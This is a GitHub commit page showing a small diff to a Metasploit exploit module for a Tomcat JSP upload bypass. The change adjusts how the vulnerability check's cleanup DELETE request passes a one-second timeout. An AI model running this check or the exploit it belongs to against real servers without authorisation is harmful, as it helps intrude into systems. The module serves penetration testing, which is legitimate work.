Skip to content

Commit facc38c

Browse files
authored
set timeout for DELETE request
1 parent be8680b commit facc38c

File tree

1 file changed

+7
-5
lines changed

1 file changed

+7
-5
lines changed

modules/exploits/multi/http/tomcat_jsp_upload_bypass.rb

Lines changed: 7 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -74,11 +74,13 @@ def check
7474
})
7575

7676
if res1 and res1.body.include?(testcontent)
77-
res1 = send_request_cgi({
78-
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
79-
'method' => 'DELETE',
80-
'timeout' => 1
81-
})
77+
res2 = send_request_cgi(
78+
opts = {
79+
'uri' => normalize_uri(target_uri,"#{testurl}.jsp/"),
80+
'method' => 'DELETE'
81+
},
82+
timeout = 1
83+
)
8284
return Exploit::CheckCode::Vulnerable
8385
end
8486

0 commit comments

Comments
 (0)